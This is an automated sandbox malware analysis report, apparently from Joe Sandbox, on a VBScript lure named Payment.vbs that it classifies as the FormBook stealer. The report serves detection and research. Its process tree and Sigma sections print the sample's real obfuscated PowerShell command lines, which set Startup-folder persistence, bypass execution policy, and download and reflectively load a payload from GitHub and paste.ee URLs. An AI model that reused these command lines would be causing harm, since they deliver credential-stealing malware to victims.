Edit tour

Windows Analysis Report
Payment.vbs

Overview

General Information

Sample name:	Payment.vbs
Analysis ID:	1528048
MD5:	de0d7fea05e69a8cf4b7c6071735b141
SHA1:	cc1218cab6f6bccd985a32b443f47ffa2c7bb8b5
SHA256:	1ace0faeac611f4f52e524e7f6ebf4bfd7ca7d1c697427d0828b3368854d9c7c
Tags:	vbsuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected FormBook

AI detected suspicious sample

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Found direct / indirect Syscall (likely to bypass EDR)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Obfuscated command line found

Queues an APC in another process (thread injection)

Sample has a suspicious name (potential lure to open the executable)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6408 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4176 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 1340 cmdline: ping 127.0.0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 1584 cmdline: powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2436 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3768 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))" MD5: 04029E121A0CFA5991749937DD22A1D9)

appidtel.exe (PID: 1052 cmdline: "C:\Windows\SysWOW64\appidtel.exe" MD5: 2C04FB942B2735073D75063E9FFBF50C)

mNqSPruzCXM.exe (PID: 7160 cmdline: "C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

convert.exe (PID: 5292 cmdline: "C:\Windows\SysWOW64\convert.exe" MD5: 2B1AC34AB72C95793CFE7E936F15389D)

mNqSPruzCXM.exe (PID: 3196 cmdline: "C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 1756 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 5708 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6f465:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x575a4:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f3603:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1db742:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bfc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x140ff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bfc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x140ff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f553:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17692:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f3603:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1db742:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2bfc0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x140ff:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Process Memory Space: powershell.exe PID: 2436	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x131cd:$b3: ::UTF8.GetString( 0x3027f:$b3: ::UTF8.GetString( 0x307b1:$b3: ::UTF8.GetString( 0x327b1:$b3: ::UTF8.GetString( 0x32e20:$b3: ::UTF8.GetString( 0x3389c:$b3: ::UTF8.GetString( 0x33f73:$b3: ::UTF8.GetString( 0x34081:$b3: ::UTF8.GetString( 0x346bd:$b3: ::UTF8.GetString( 0x34e6e:$b3: ::UTF8.GetString( 0x356f4:$b3: ::UTF8.GetString( 0x36937:$b3: ::UTF8.GetString( 0x3d128:$b3: ::UTF8.GetString( 0x3d65a:$b3: ::UTF8.GetString( 0x701ba:$b3: ::UTF8.GetString( 0x706ec:$b3: ::UTF8.GetString( 0x7184f:$b3: ::UTF8.GetString( 0x871d8:$b3: ::UTF8.GetString( 0x8785d:$b3: ::UTF8.GetString( 0x87da1:$b3: ::UTF8.GetString( 0x8bac4:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 3768	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x51727b:$b2: ::FromBase64String( 0x518dba:$b2: ::FromBase64String( 0x518f6b:$b2: ::FromBase64String( 0x519112:$b2: ::FromBase64String( 0x3b27a4:$s1: -join 0x3d3c8b:$s1: -join 0x3e0d60:$s1: -join 0x3e4132:$s1: -join 0x3e47e4:$s1: -join 0x3e62d5:$s1: -join 0x3e84db:$s1: -join 0x3e8d02:$s1: -join 0x3e9572:$s1: -join 0x3e9cad:$s1: -join 0x3e9cdf:$s1: -join 0x3e9d27:$s1: -join 0x3e9d46:$s1: -join 0x3ea596:$s1: -join 0x3ea712:$s1: -join 0x3ea78a:$s1: -join 0x3ea81d:$s1: -join
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.appidtel.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
10.2.appidtel.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2e753:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x16892:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
10.2.appidtel.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
10.2.appidtel.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2f553:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17692:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLi

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCc

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 